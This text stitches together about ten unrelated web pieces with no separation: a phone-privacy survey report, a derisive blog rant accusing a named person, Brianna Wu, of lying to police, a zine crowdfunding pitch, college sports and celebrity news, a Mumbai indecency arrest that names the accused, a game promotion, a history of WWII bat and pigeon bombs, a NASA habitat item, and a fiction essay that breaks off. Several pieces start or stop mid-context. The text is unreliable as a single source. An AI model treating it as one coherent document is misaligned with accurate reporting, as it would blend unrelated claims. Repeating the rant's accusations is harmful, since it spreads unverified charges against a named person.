"As mobile applications become an increasingly important gateway to online services and communications, users' cell phones have become rich repositories that chronicle their lives," said Mary Madden, a research associate and co-author of the report.
"The way a mobile application handles personal data is a feature that many cell phone owners now take into consideration when choosing the apps they will use."
The survey noted that many users are concerned that their phones could be lost or stolen and are taking steps to deal with such a scenario.
Some 41 per cent of cell owners back up the photos, contacts, and other files on their phone and 32 per cent have cleared the browsing history or search history on their phone.
Also, 19 per cent of cell owners have turned off the location tracking feature on their device because of concern about others accessing that information.
It found nearly one third of phone owners have experienced a lost or stolen phone, and 12 per cent have had another person access the contents of their phone in a way that made them feel their privacy was invaded.
"The rise of the smartphone has dramatically altered the relationship between cell owners and their phones when it comes to monitoring and safeguarding their personal information," said Aaron Smith, a report co-author.
"The wealth of intimate details stored on smartphones makes them akin to the personal diaries of the past - the information they contain is hard to replace if lost, and potentially embarrassing in the wrong hands."
I case you forgot, Rogue started a joke Patreon, and the SJWs lost their shit. Brianna Wu tried to get his address, she accused him of extortion…all kinds of fucked up shit. Here’s one of her more hysterical tweets:
She also got Patreon in on the act, as I mentioned earlier:
After they publicly changed their Terms of Service yesterday, this issue came up again. Thankfully, their co-founder isn’t as insane as Brianna Wu. I have to say, I was pleasantly surprised by this guy. Maybe they aren’t beyond hope there at Patreon. Then again, getting someone to retract obviously phony allegations doesn’t exactly make you business of the year. But I guess it’s a start.
As Rogue points out, and I mentioned in at the top of the post, Brianna Wu is in violation of the TOS for spreading false accusations, trying to obtain his address, potentially telling lies to the police…the list goes on and on:
https://twitter.com/_RogueStar_/status/547208770041159681
https://twitter.com/_RogueStar_/status/547210814344953856
Advertisement NAACP calls for DOJ investigation, suggests profiling behind racial skew of NOLA juvenile arrests Statistics show 96 percent of arrested teens are African-American Share Shares Copy Link Copy
The Kanye zine is a dedication to the lyrical genius himself.
It’s a creation of love by three sassy Kanye fans who appreciate the complexity of his personhood. His vision and impact has undoubtedly affected pop culture at large—and so we want to create a space where we can explore and critique that.
Together with a collection of incredibly talented artists and writers, we want to create a one-time-only 128-page zine all about Kanye West. The Kanye zine will feature all new, original essays and illustrations in a high-quality print publication. So far, we've confirmed the following contributors:
Adam Waito, Alex Rhek, Averill Smith, Chris Piascik, Michael DeForge, Michelle LeFade, Vladimir Kato, Amy Rose Spiegel, Anupa Mistry, Haley Cullingham, Julianne Escobedo Shepherd, Kiese Laymon, Ohara Hale, Rawiya Kameir, Rembert Browne, Sasha Frere-Jones, plus an introduction by Ayesha A. Siddiqi.
Here are some of the titles & essay descriptions so far:
Feel Like Deepak Chopra: The Irrational Spirituality of Yeezy
Yeezus Walks—The Deification of Kanye West: A personal/critical take on the falsehood of celebrity worship as "destructive."
Kanye Needs A Boyfriend
Joke's On You, We're Still Alive: An essay addressing Kanye's gorgeous populism—the way he feeds the world untempered, vicious, brilliant social and cultural theory in the hugely commercial medium of "Kanye West records." He trusts his listeners as his peers, and doesn't kowtow to anybody else's attempts to undermine what he knows is his, and their, truth.
We need your help to make this happen.
We're making this zine because it's a zine we want to read, and we think you'll want to read it too.
We're asking for exactly what we need to print the zine and pay our contributors—nothing more, nothing less. With your support, we'll print enough copies to send to our backers and pay each contributor a fair wage.
The breakdown of our budget is as follows:
Printing & Production (includes printing the zine, proofs for copyediting, the domain name of our website, shipping labels, envelopes, tote bags, and art prints): $8,410
Wages (for all the artists, writers, and one copyeditor): $6,590
If we're successful, we'll begin work on the zine immediately and ship all the copies by early November 2014.
If Yeezus smiles on us and we reach Kanye-levels of success, we have a plan for that extra money: bonuses for all the contributors, printing more copies to distribute at some of our favorite independent bookstores, and taking the zine to shows and fairs around Canada and the U.S.
Our zine will be printed by The Prolific Group, a Canadian company that prints some of the most beautiful magazines on newsstands today. The Kanye zine will be perfect bound, 6.25w x 9.25h, full color, printed on 100lb. Neenah Coronado Cover (Stipple Finish/Infinite White) and 60lb. #2 Gloss Text.
A string of athletic department mishaps in the past several months dominated headlines around the Michigan campus and served as a regular distraction at sporting events.
"Dave feels that it would be in the best interest of our student-athletes, the athletic department and the university community if he moved on to other challenges and allowed the important work of the department and the university to continue without daily distractions," said Mark Schlissel, the university's president.
Dave Brandon has been embroiled in one controversy or another during his time as Michigan's athletic director. Rick Osentoski/USA TODAY Sports
Schlissel said he would begin searching for Brandon's replacement immediately.
The president, who took office at Michigan in July, said he will be looking for someone who prioritizes highly the welfare of student-athletes and operates with "integrity to the Michigan way of doing athletics." He said previous ties to the school or its sports teams are not prerequisites for the job.
"I think we need the very best person possible to do this job," Schlissel said. "Certainly, people that have a connection to Michigan know many things about the university. I can tell you, though, despite the fact that I've only been here for about 110 days, I feel like a Michigan man already."
Schlissel appointed former Michigan football player Jim Hackett to serve as interim athletic director and help select a permanent replacement. Hackett played for legendary Wolverines coach Bo Schembechler in the 1970s and served as the CEO of a successful office furniture business after graduating. Hackett sits on the board of advisors for two academic programs at the university.
"Dave was a teammate of mine in the '70s, and I knew him during my business career here in Michigan," Hackett said. "I have a tremendous amount of respect for him and thank him again for an extraordinary commitment to this university."
Hackett will have all the powers of the athletic director until a replacement is named, including evaluating the football program and the future of its coaching staff at the end of the season if it takes that long to find someone new.
The new athletic director in Ann Arbor will take over a department whose flagship program is in a state of flux. Michigan's football team is 3-5 heading into its homecoming game with Indiana on Saturday. Coach Brady Hoke is 18-16 since winning the Sugar Bowl in his debut season as the Wolverines coach in 2011.
The struggles of the football team have added to Brandon's poor approval ratings this year, but other moves he has made during his five-year tenure left him with few deposits in the bank of public opinion among Michigan's supporters. His downfall picked up speed a month ago when miscommunication on the sideline allowed quarterback Shane Morris to return to the game against Minnesota after displaying concussion symptoms. The contradicting messages from Hoke and Brandon in the week that followed revealed what many believed to be signs of dysfunction in the athletic department.
Later that week, students and fans started petitions and held protests to ask Michigan to remove Brandon from office. The detractors added the Morris incident to a list of complaints that included alienating former players, commoditizing Michigan's rich football tradition, and raising student ticket prices to football games. Brandon attempted to reconcile with the student body in October by promising to dramatically decrease the price of tickets and to be more accessible to students in the future. Those moves weren't enough to sway opinion back in his favor.
Earlier this week, mgoblog.com posted caustic and condescending emails that fans wrote to Brandon about their concerns with the athletic department. The website reviewed email exchanges between Brandon and several different fans in which he allegedly told one to "quit drinking and go to bed" and another to "find a new team to support."
Brandon, the former CEO of Domino's Pizza, was hired as the athletic director in January 2010 and took office two months later. He spearheaded plans to spend hundreds of millions of dollars to upgrade the university's athletic facilities, and he increased the athletic department's revenue on a regular basis. He also increased spending and salaries, which led to a shrinking profit margin during his tenure.
His salary for the 2014-15 academic year was $900,000 and was scheduled to reach $1 million annually within the next two years.
The pervert stopped next to an auto with two teens at a signal in Khar and started masturbating; a click and a tweet to Mumbai Police later, he was cooling his heels in the lock up
Two girls travelling by auto rickshaw in Khar had the shock of their lives when they saw the biker next to them brazenly jerking off to them in broad daylight.
Also Read: Boy flashes woman in theatre, arrested
The girls clicked this picture and sent it to the Twitter ID @MumbaiPolice
Repulsive as the sight was, the quick-thinking girls quickly took a picture of the pervert and it was tweeted to Mumbai Police’s Twitter handle. It was thanks to this that the man was arrested within three hours.
The pervert was identified as Rais Likayat Qureshi; the picture on the top leaves no doubt as to what he was doing
According to the Khar police, the incident occurred on Tuesday evening, when the girls were in an auto, waiting at the signal at 16th road, Khar West. The pervert – identified as 35-year-old Rais Likayat Qureshi, a resident of Bandra – was at the same signal on his black Yamaha bike. Upon spotting the girls, he caught up to their auto and openly began to masturbate. The girls panicked but didn’t lose their head; they clicked a picture of him in the act and circulated it among their friends, who then uploaded it on Twitter.
Read Story: US woman takes to Twitter to nab man who masturbated at her in South Mumbai
Along with the picture, the friend tweeted — “@MumbaiPolice friends were in a rickshaw & a man starting shagging looking at them what action can be taken on this?”
The picture leaves no doubt as to what he was doing; cool as a cucumber, Qureshi had a cigarette between his lips, one hand on the bike and the other on his crotch. Perhaps that is why the police jumped into action immediately upon seeing the image, even before they received an official complaint from the girls.
“Looking at the girls, the accused flashed his private parts and began masturbating on the moving bike. The teenage girls were horrified, but did the smartest thing by clicking his photographs and catching him in the act,” said an officer from Khar police station.
This was a rare incident when the cops took suo motu action in the case, and registered an offence even before taking the statements of the victims. In no time, Deputy Commissioner of Police (Zone IX) Satyanarayan Chaudhary was informed about it and he set about hunting for the accused to initiate appropriate action against him. Thankfully, the girls had also taken down the number of the bike driven by the accused. One team of cops was asked to get the biker’s information and address from the RTO, while the second team was asked to browse CCTV footage of the route taken by him.
Also Read: Ward boy held for masturbating outside ICU waiting room
DCP Chaudhary said, “After checking the CCTV footage, we had a vague idea of where he was staying. His photograph was then shown to the beat officers and other staff in the team. Luckily, some of them identified Qureshi and we arrested him.”
THE INSPIRATIONS OF PREY – FILM FEST
The Inspirations of Prey – A Sci-Fi Film Fest Presented by Bethesda and GameStop is coming to a theater near you with screenings of MOON, Starship Troopers, Total Recall and The Matrix throughout April! Check below dates, locations and tickets.
THE INSPIRATIONS OF PREY – SPECIAL FAN EVENTS
Plus, alongside the film screenings in Austin, San Francisco, New York and Los Angeles, sci-fi fans are invited to join Bethesda for special fan events where you will have the chance to play Prey before its release!
o Tuesday, April 4 @ 5pm
Austin | Alamo Drafthouse South Lamar at The Highball
o Tuesday, April 11 @5pm
San Francisco | Alamo Drafthouse Cinema – New Mission at Bear vs Bull
o Wednesday, April 19 @5pm
New York | Alamo Drafthouse Cinema - City Point at House of Wax
o Tuesday, April 25 @9pm
Los Angeles | The Regent Theater
To RSVP for these fan events, visit iam8bit.com/prey
About Prey
When you awaken aboard the Talos I space station, you that find you are the key subject of an experiment meant to alter humanity forever – but things have gone terribly wrong. Talos I has been overrun by an alien force, and you must fend off the alien infestation armed with badass weapons and powers in order to stop the threat from destroying humanity. In Prey, you’re mankind’s last – and only – hope.
Set to launch worldwide on Friday, May 5, 2017 on Xbox One, PlayStation 4 and PC, Prey is the highly anticipated first-person sci-fi action game from Arkane Studios - creators of the award-winning Dishonored series which includes the critically acclaimed Dishonored and Dishonored 2.
A dental surgeon from Irwin, Pa., is credited with the idea of using bats as bombers. And a behavioral psychologist, also a Pennsylvanian, showed how pigeons could guide bombs directly to surface targets. The two projects were not related, and the two men never met.
Dr. Lytle S. Adams was vacationing in the Southwest on December 7, 1941, when he heard the shocking news of the Japanese attack on Pearl Harbor. Adams immediately headed home. He had just visited Carlsbad Caverns, N.M. — believed to house the world’s largest bat colony — where he had been fascinated by the bats that emerged nightly to feed on insects. Thinking about that impressive colony, the dentist asked himself: ‘Couldn’t those millions of bats be fitted with incendiary bombs and dropped from planes? What could be more devastating than such a firebomb attack?’ he recalled in a 1948 interview.
He stopped by Carlsbad on his way home and captured some Mexican free-tail bats, the most common species in North America. The free-tails, also known as guano bats, are small brown mammals capable of catching more than 1,000 mosquitoes or gnats in a night. Weighing about 9 grams, the free-tails can carry an external load more than twice their own weight.
Back home, Adams looked up everything he could find about the tiny mammals and discovered that although bats are frequently vilified by the public, they are not usually dangerous to humans. They aren’t blind, don’t get tangled up in one’s hair and don’t attack people. Although generally considered evil in Europe, they symbolize prosperity and happiness in China. The Navajo Indians believe them to be intermediaries between men and the gods. They range in size from the bumblebee bat of Thailand, which weighs less than a penny, to the mastiff bat, North America’s largest flying mammal with a 22-inch wingspread, and the giant flying fox bat with a 6-foot wingspan, found primarily in Indonesia.
Adams became convinced that bats could be used as bombers. On January 12, 1942, he sent a letter to the White House proposing that the government investigate this possibility. His suggestion was considered, along with hundreds of others from well-meaning citizens with war-winning ideas, but his was one of the few that reached the desk of the commander in chief.
President Franklin D. Roosevelt forwarded a memo to Colonel William J. Donovan, then coordinator of information, with a cryptic notation: ‘This man is not a nut. It sounds like a perfectly wild idea but is worth looking into.’ In fact, Adams had already made a name for himself as an inventor. In the 1920s and ’30s he launched a 15-year campaign to perfect an airmail pickup system (see ‘People and Planes’ in the March 2005 issue).
Donovan sent the proposal to the National Defense Research Committee (NDRC) of the National Inventors Council. After reviewing Adams’ idea, a memorandum titled ‘Use of Bats as Vectors of Incendiary Bombs’ was sent to the committee on April 16, 1942, by Donald R. Griffin, a special-research assistant. He described the proposal as using ‘very large numbers of bats, each carrying a small incendiary time bomb. The bats would be released at night from airplanes, preferably at high altitudes and the incendiaries would be timed to ignite after the bats had descended to low altitudes and taken shelter for the day. Since bats often roost in buildings, they could be released over settled areas with a good expectation that a large percentage would be roosting in buildings or other inflammable installations…when the incendiary material was ignited.’
Griffin summarized his memo by saying that, although ‘this proposal seems bizarre and visionary at first glance…extensive experience with experimental biology convinces the writer that if executed competently it would have every chance of success.’ He recommended an investigation ‘with all possible speed, accuracy and efficiency’ by the U.S. Army Air Forces. Bomb development was passed on to the Army Chemical Warfare Service.
Adams and a team of naturalists were immediately authorized to find bats for experimentation. The team visited a number of likely sites in Texas and New Mexico where the bats could be found in large quantities — mostly in caves, but also under bridges, in barns and in large piles of rubbish. ‘We visited a thousand caves and three thousand mines,’ Adams said. ‘Speed was so imperative that we generally drove all day and night, when we weren’t exploring caves. We slept in the cars, taking turns at driving. One car in our search team covered 350,000 miles.’
The team first investigated the mastiff bat, which they determined could carry a 1-pound stick of dynamite. But there was not a sufficient number of that variety available. The more common bat was the mule-eared or pallid species, which could carry 3 ounces. However, the naturalists concluded that the species was not sufficiently hardy for the work that needed to be done.
They finally settled on the Mexican free-tail bat for the project. Although it weighed only one-third of an ounce, experiments showed that it could fly fairly well with a payload of 15 to 18 grams. The Army’s Edgewood Arsenal in Maryland, near Washington, D.C., was to design an incendiary bomb weighing no more than 18 grams.
The largest colony of free-tails found during the search was an estimated 20 to 30 million that lived in the limestone Ney and Bracken caves near Bandera, in southwest Texas. At Ney Cave, U.S. Army Captain Wiley W. Carr reported that ‘five hours’ time is required for these animals to leave the cave while flying out in a dense stream fifteen feet in diameter and so closely packed they can barely fly.’
Capturing the bats was not difficult. Team members passed nets on long poles back and forth over the cave entrance as the bats emerged from their lairs. As many as 100 were captured in two or three passes, after which they were placed in a refrigerated truck. Adams took some to the Chemical Warfare Service headquarters at Aberdeen, Md., and released them to show Army officials how they could each carry a dummy bomb.
There was much opposition to the project from CWS officials, but in March 1943 the Army Air Forces issued authority for the project to proceed by a memo — Subject: ‘Test of Method to Scatter Incendiaries.’ Purpose: ‘Determine the feasibility of using bats to carry small incendiary bombs into enemy targets.’
Project members studied the habits of the bats intently. Louis F. Fieser, assigned as chief chemist for the Adams project, began to design bombs light enough to be carried by the free-tails. His research showed that the British had designed miniature bombs during World War I called ‘baby incendiaries’ made of thermite that weighed 6.4 ounces. Fieser made two sizes of incendiaries that were oblong celluloid cases filled with thickened kerosene. A small time-delay igniter fuse was attached along one side. One size weighed 17 grams and would burn for four minutes with a 10-inch flame. The other weighed 22 grams and would burn for six minutes with a 12-inch flame.
The time-delay igniter consisted of a firing pin held in tension against a spring by a thin steel wire. When the bombs were prepared for use, a copper chloride solution was injected into the cavity through which the steel wire passed. The copper chloride would corrode the wire in time; when it was completely corroded through, the firing pin snapped forward, striking the igniter head and lighting the kerosene.
To attach the bomb to a bat, technicians clipped the case to the loose skin on the bat’s chest with a surgical clip and a piece of string. The bats were dropped from a plane in a cardboard container that would open in midair at about 1,000 feet. According to one CWS report, the bats were then expected ‘to fly into hiding in dwellings or other structures, gnaw through the string, and leave the bombs behind.’
In early May 1943, about 3,500 bats were collected at Carlsbad Caverns and flown in a North American B-25 that had been assigned to the project to Muroc Dry Lake, Calif., for tests. The bats were placed in refrigerators and forced to hibernate. On May 21, 1943, five boxes of bats were dropped from 5,000 feet, but the test was unsuccessful because the bats, not fully recovered from hibernation, could not fly.
The project was transferred to an auxiliary field under construction at Carlsbad, and secret tests continued. This time bats were placed in ice cube trays and cooled off to place them in hibernation. They were then positioned in cardboard cartons for the drop tests. Captain Carr explained the procedure: ‘Bats were taken from the refrigeration truck in a hibernated state in lots of approximately fifty. They were taken individually by a biologist, and about a one-half inch of loose chest skin was pinched away from the flesh. While this operation was being done, another group was preparing the incendiaries. One operator injected the solution in the delay [mechanism], another sealed the hole with wax, and another placed the surgical clip that was fastened to the incendiary by a short string….The incendiary was then handed to a trained helper who fastened it to the chest of the bat.’
Drops of the bats were made with dummy bombs from a B-25 and a Piper L-4 Cub, but troubles once again developed. Many of the bats didn’t awaken from hibernation in time to be able to fly, the cardboard cartons didn’t always open properly, and the surgical clips proved difficult to attach to the chests of the bats. Team members worked to resolve these problems, and more bats were secured. This time, however, they woke up too quickly when they were released, then escaped.
Captain Carr stated in an interim report: ‘The bats used at Carlsbad weighed an average of nine grams. They could carry eleven grams without any trouble and eighteen grams satisfactorily, but twenty-two grams appeared to be excessive. These didn’t fly very far, and three returned in a few minutes to the building where we were working. One flew underneath, one landed on the roof, and one attached itself to the wall. The ones with eleven-gram dummies flew out of sight. The next day an examination of the grounds around a ranch house about two miles away from the point of release disclosed two dummies inside the porch, one beside the house, and one inside the barn.’
Tests continued, and more than 6,000 bats were used in the experiments. In a report dated June 8, 1943, Carr stated that if further tests were to be carried out, a better time-delay parachute-type container, new clips and a simplified time-delay igniter should be designed. He added that ‘testing was concluded…when a fire destroyed a large portion of the test material.’ What he didn’t point out was that a barracks, a control tower and other buildings at the Carlsbad auxiliary field had been set afire by the bats on the not-yet-occupied base.
The Army had had enough of the experiment by August 1943, and the project was passed to the Navy and assigned to the Marine Corps as Project X-Ray. Marines were assigned to guard four bat caves in Texas, and their first tests began on December 13, 1943. Experiments were carried out with improved ‘egg crate’ trays and bomb shells. In the course of those tests, 30 fires were started — 22 of which went out on their own. New and more powerful incendiaries were ordered, and full-scale tests were planned for August 1944. However, when the Navy learned that it would take until mid-1945 to complete the tests, the 27-month, $2 million project was canceled — ‘not based on any shortcomings of the incendiary and time units developed,’ according to the notice, ‘but rather upon the shortcomings of the fundamental idea and the opportunity of getting sufficient reliable data in order to plan a timely operation.’
Adams was very disappointed. He maintained that fires set by bat bombers could have been more destructive to Japanese cities than the two atomic bombs. He noted that bats had scattered up to 20 miles during the tests, adding, ‘Think of thousands of fires breaking out simultaneously over a circle of forty miles in diameter for every bomb dropped. Japan could have been devastated, yet with small loss of life.’
Meanwhile, tests had been ongoing for some time to train birds as kamikaze pilots. Burrhus Frederic Skinner, a behavioral psychologist at the University of Minnesota who believed that pigeons could be trained to guide missiles, originated the idea of using birds as bombers. A scientist noted for his view that learning occurred as a result of an organism responding to, or operating on, its environment, he did extensive research with animals, notably rats and pigeons, and concluded that a rat or pigeon could learn to press a lever in order to obtain food. Skinner wondered, after the Germans bombed Warsaw in 1939, whether a shell or missile could be designed that could be guided to a ground target from an aircraft. He was riding on a train at the time and saw a flock of birds lifting and wheeling in formation as they flew alongside the train. ‘Suddenly I saw them as `devices’ with excellent vision and extraordinary maneuverability,’ he recalled. ‘Could they not guide a missile? Was the answer to the problem waiting for me in my own back yard?’
Skinner, who already had much experience with birds, chose to work with them in many experiments because they have better vision than humans, are faster in their movements, can distinguish colors, don’t get airsick and are more easily handled than many other animals. He decided to focus on pigeons because he discovered that they are more predictable than other birds.
Skinner bought some pigeons at a poultry store and started teaching the birds to earn kernels of grain by pecking at a specific target image. During this training the birds were held in position in front of a screen by means of a special harness. ‘Feet and wings would be hard to harness,’ he reasoned, ‘but the head and neck might be used. The pigeon’s eyes could pick out a target, movement of its neck could produce signals to steer the missile, and its head and neck together could pick up grain as a reinforcer.
‘I found that I could conveniently package a pigeon in a man’s sock with its head and neck protruding through a hole in the toe and its wings and legs drawn together at the back and lightly tied with a shoestring. The jacketed bird could be strapped to a block of wood and put into an apparatus.’
Skinner built a system in which the pigeon steered by moving pairs of lightweight rods around its neck. By lifting or lowering its head, the bird closed electrical contacts operating a hoist. By moving its head from side to side, it drove a hoist back and forth on an overhead track.
A bull’s-eye was placed on a far wall of the room, a few grains of food were placed in a small cup in the center, and the apparatus was pushed toward it. By moving up or down and from side to side, the pigeon could reach the wall in position to take the grain.
‘My pigeons became quite adept at this,’ Skinner recalled in his autobiography. ‘I pushed them faster and faster across the room until they were operating the moving hoist as fast as the motors permitted.’
He next worked out a system whereby the pigeon pecks were picked up as an electronic signal and transferred to a control system. As the image moved off center, the pigeon would peck frantically to bring the device back on track; the resulting signals would operate the simulated missile control system to center the device on the target. With practice, his birds hit the target with near perfect accuracy and could easily distinguish one target from another.
Skinner, convinced that his idea had merit, contacted members of the National Inventors Council, who were startled by the proposal and rejected the idea with the comment that it was unrelated to national defense. Undeterred, Skinner made his proposal to the NDRC on June 9, 1941, but again he received a polite ‘No.’
News of the Pearl Harbor attack sparked Skinner to resume his work. He filmed his pigeons in action and again contacted the NDRC, and this time government scientists showed mild interest but felt it was a long shot. When A.D. Hyde, then head of the mechanical division of General Mills Inc., heard about the revolutionary idea, he was at first skeptical that pigeons could be trained as flying suicide bombs. However, he thought Skinner’s reasoning was sound and persuaded the company’s top management to back the project with technical help until it could be turned over to a government agency.
With this support, Skinner’s system was refined. The previous harness was discarded in favor of a more practical lens and screen grid with a special servo-control mechanism. The force of the pigeon’s pecking motion was increased by running a bomb’s gyro and controls in a vacuum and by placing valves behind the top, bottom and sides of the flexible screen. When the pigeon tapped one of these valves, it opened, permitting air pressure to build up in the system and operate the fins on the bomb. When the target image was at dead center and the pigeon pecked at dead center, all the valves opened an equal amount and the setting was unchanged.
At this stage, the project showed enough promise that the newly formed Office of Scientific Research and Development (OSRD) awarded Skinner a contract in June 1943 under the name of Project Pigeon for ‘a homing device.’ The inventor ‘recruited’ a squadron of 64 pigeons (40 homers and 24 ordinary pigeons) from local sources and began their training. The birds were left without food for 36 hours, then placed in a cage with some grain about 30 minutes a day.
The target for the actual bombing experiments, to be located in Florida, was a white pyramid on a green field, so Skinner used a screen of white triangles cut into green paper. Once a bird learned that pecking the white pyramids would produce a few kernels of grain, it was conditioned to expect to be fed when he saw them. As soon as the bird had learned to break through light paper, heavier sheets were substituted. Eventually the pigeon was pecking with the force of a miniature air hammer.
Once a bird had completed this ‘primary’ training, it was graduated to an advanced trainer. This was a lightproof box mounted over a projection screen. A moving picture of a ground target appeared on this screen, and whenever the pigeon pecked it on the screen it caused an electrical contact to close and a small drawer to pop out containing kernels of grain.
This training worked well for a time, but the pigeons quickly learned they could get the grain no matter where they pecked the screen and began to disregard the target itself. Skinner outsmarted them by crossing two beams of light at right angles in front of the image. From then on, a pigeon had to peck the target image at dead center in order to break both beams of light and actuate a photoelectric relay to release the food.
Skinner then added a new tactic. He found he could feed the birds at regular time intervals or after a certain number of pecks. After a while, the pigeons learned to rap out as many as four pecks a second for more than two minutes without a break, and would work feverishly to prevent the target image from moving off dead center.
In one final test, Skinner put each bird into a hand-operated trainer. A person sat behind each pigeon and moved a color photo projected on the screen, at the same time operating the food magazine. The pigeon had to peck correctly or he got no food at all. According to the report on these experiments: ‘There wasn’t a single washout in the entire class of 64. Every bird earned his wings with an A grade.’
Other experiments followed to test the birds’ psychological fitness for battle. Target pistols were fired only a few inches from a bird’s head. The pigeons didn’t miss a peck, didn’t even look up. Other extremely loud noises were introduced. Again, the pigeons stayed at their task. Skinner also put the pigeons in a pressure chamber, setting the altitude at 10,000 feet. They were also whirled around in a centrifuge, put on pure oxygen and exposed to bright flashes, simulating shell bursts. High vibrations were also introduced, and the birds were subjected to massive G forces without harmful effects.
Following the success of those experiments, pigeons were placed in three, five and seven tandem positions in a missile to see whether, if one or more birds became obstinate or lazy, the majority could override any incorrect signals and keep the missile on course. The final test was to see whether a male pigeon placed alongside a female would abandon his task or vice versa. Once more, the birds’ dedication to the mission was paramount. They pecked away at the target; hunger overcame any other desires. Skinner also learned that pigeons were seemingly fearless when feeding on hemp seed. They worked faster when it was used in place of the standard grain.
When sufficient data had been collected on the pigeons, it was sent to Washington for evaluation. Time passed, and Skinner was invited to OSRD to plead his case before a group of scientists. He brought a jacketed pigeon with him in a box, facing a translucent screen on which a target could be projected from across the room. He described what happened:
The pigeon had been in its jacket for 36 hours, and we had checked the box into and out of the baggage window at Chicago and had carried it with us on two long train rides. If the image on the screen was to be clear, the box would have to be closed, and I had installed a tube through which the pigeon could be watched without admitting too much light, but it would take too long to look down a tube, one person at a time, and I was asked to open the box. That meant that the pigeon saw a very faint image. Nevertheless, it performed beautifully, pecking steadily as we moved the target about. Someone put his hand in the beam from the projector and the pigeon stopped quickly. It started again just as quickly when the hand was withdrawn.
There could scarcely have been a better demonstration of the extraordinary predictability of behavior, the keenness of a pigeon’s vision, the accuracy of its responses, and its freedom from distraction.
However, on October 8, 1944, Skinner and his associates were told that ‘further prosecution of this project would seriously delay others which in the minds of the Division have more immediate promise of combat application.’ Skinner, like Adams, was disappointed after so much effort had gone into his project. He commented in one of his books that if they meant other guided missile projects had more potential, ‘the United States had not only no way of guiding a missile but no missile worth guiding. The Germans were far ahead. In September 1943, long before our final meeting in Washington, they had used missiles controlled by radio from mother planes to wreak havoc on the American fleet landing soldiers at Salerno.’
Skinner kept his pigeons at home and used the box he had taken to Washington to see if they would retain what they had learned. He tested them at six months, a year, two, four and six years later. All of them accurately struck the target, which enabled him to conclude his work had been worthwhile. While his pigeons were never tested in combat, he was confident they could have carried out their missions.
In the years following World War II, the U.S. Navy became more interested in missiles and their use against surface ships. The reports on Project Pigeon remained classified, but they were unearthed from the Navy files in 1948 and given new life under the designation Project Orcon (for organic control). The Naval Research Laboratory was tasked with ‘conducting a program of research to determine the feasibility of using pigeons as the sensing element for controlling missiles.’
Tests were conducted over the next five years, using a sophisticated trainer that simulated a missile. The pigeon suspended inside faced a screen on which color photos of actual ships were projected. A metal contact was attached to its beak, and a flexible wire from it linked the bird to the missile.
A gridless screen made of electrically conducting glass tracked where the pigeon had pecked it. The servo-motors then steered the missile to a target ship, and the bird was rewarded with the usual kernels of corn. Repeated performances showed that the pigeons could guide missiles — well enough under ideal conditions to score hits, although clouds, waves and shadows could throw them off course.
Project Orcon was canceled in 1953, when electronic guidance systems for missiles were deemed reliable. The Orcon test results, however, were kept under wraps for six more years before they were declassified. Meanwhile, there was an important spinoff from the research. The electrical conducting glass developed for the pigeon training became a key feature in the combat control centers of U.S. warships. It was employed by plotters using magnetic probes to trace the course of attacking aircraft.
Although bats and pigeons were never used to bomb enemy targets, the test results show that they could have. It is interesting to speculate what the results might have been if they had actually gone to war.
This article was written by C.V. Glines, an award-winning aviation author and a member of Aviation History‘s editorial advisory board. For additional reading, try: Bat Bomb, by Jack Couffer, or The Shaping of a Behaviorist, by B.F. Skinner. This article was originally published in the May 2005 issue of Aviation History.
For more great articles subscribe to Aviation History magazine today!
The Oklahoma quarterback sent out a long-overdue tweet to his famous admirer on Sunday night, during Perry's Super Bowl halftime performance:
The much-hyped yet still dormant relationship between Perry and Knight began back on Oct. 4, when Perry declared on "College GameDay" she was picking OU over TCU "based on looks."
If you're wondering what happened after "Trevor Knight, call me!" the answer is not much. A few days later, Knight confessed to reporters he had not called Perry because he did not have her number. Valid excuse.
But Knight's ready to get back in the picture. Perhaps he felt threatened by the fact that Perry donned a black No. 49 jersey during a portion of her performance. Maybe he's getting jealous about the fact Russell Wilson does have Katy Perry's number and texts with her. Maybe, in another life, she would be his girl. (Or maybe she's back with John Mayer.)
The ISS is the only place of the face of the Earth where humans routinely spend extended periods in space. NASA is working with partners in its NextSTEP program to developed deep space habitats that will be used in future space research and exploration. Those partners have all now unveiled their ground prototypes for these modules.
NASA previously selected six US firms to help expand the knowledge and commercial capability of space exploration by developing ground-based, full-size prototypes and concepts for deep space habitats under the NextSTEP program, specifically known as NextSTEP-2. “The NextSTEP partnerships are a large contribution to the dual objectives of advancing deep space habitation development and stimulating commercial activities in low-Earth orbit,” said Jason Crusan, Director of Advanced Exploration Systems at NASA Headquarters.
The six partners that were selected include Bigelow Aerospace LLC from Las Vegas with its XBASE (Expandable Bigelow Advanced Station Enhancement) which is a 330 cubic meter expandable habitat. This is a newer version of that BEAM module from Bigelow that is currently in testing on the ISS. Boeing of Houston is showing off a modular habitat ground demonstrator that will allow the company to test and validate interface standards and other technologies.
Bigelow Aerospace’s XBASE
Lockheed Martin’s multi-purpose logistics module prototype
Lockheed Martin of Denver, Colorado has plans to refurbish a multi-purpose logistics module such as those that were used to carry supplies to and from the ISS by the space shuttle into a full-scale habitat prototype with integrated avionics and ECLSS. Orin ATK plans to work on maturing the design of their cislunar habitat concept as on the Cygnus spacecraft that is servicing the space station now. Sierra Nevada Corp has a prototype based on the Dream Chaser cargo module that could be combined with an inflatable fabric environment module, ECLSS system, and propulsion system. The final company is Nanorocks that pans to perform a study on turning an existing launch vehicle upper stage, the propellant segment, into a pressurized space habitat.
Orbital ATK’s cislunar habitat based
Sierra Nevada Corporation’s habitation prototype
I disagree this is the question we need to ask, or find answers to. Indian fantasy writers are writing a bunch of different things. Some of them have mythological elements, some don't, and only a few of them are just “Mythological Epics Told Over and Over.”
The writer says she would like more orcs, white walkers and dragons in her fantasy books, and less of icchadhari nagins. She would also like less of Ramayana and Mahabharata retellings. I empathise with the sentiment of being tired of clichés, especially when those clichés make it harder for anything non-clichéd to emerge, but it's hardly a factor unique to the Indian readership.
YA fantasy commentators in the West are tired of sexy vampires. Pretty much everyone is tired of elves, or pseudo-medieval-Europe high fantasy. But there are thousands of books that come out every year which do very little innovation on these clichés, and they sell thousands of copies, because the readers who don’t mind reading about established clichés again and again always outnumber the readers who actively seek variety. It’s not a fact unique to India.
It’s also not true that the themes that lead to those clichés are bad in themselves, and that no innovation is possible in them any more. The pseudo-medieval-Europe high-fantasy setting is as overused in Western fantasy as the epics are in India, but George RR Martin still managed to bring fresh depth and perspective into it.
Yes, there are many retellings of the Ramayana and the Mahabharata, but why is all of Indian mythology avoidable? Why is even all of Indian mythology just the Ramayana and the Mahabharata? (I think the icchadhari nagin is a totally cool idea, and I haven’t seen it appear much in books. Give me a minute as I make a note to steal this for a future story. Thank you.)
Familiarity matters
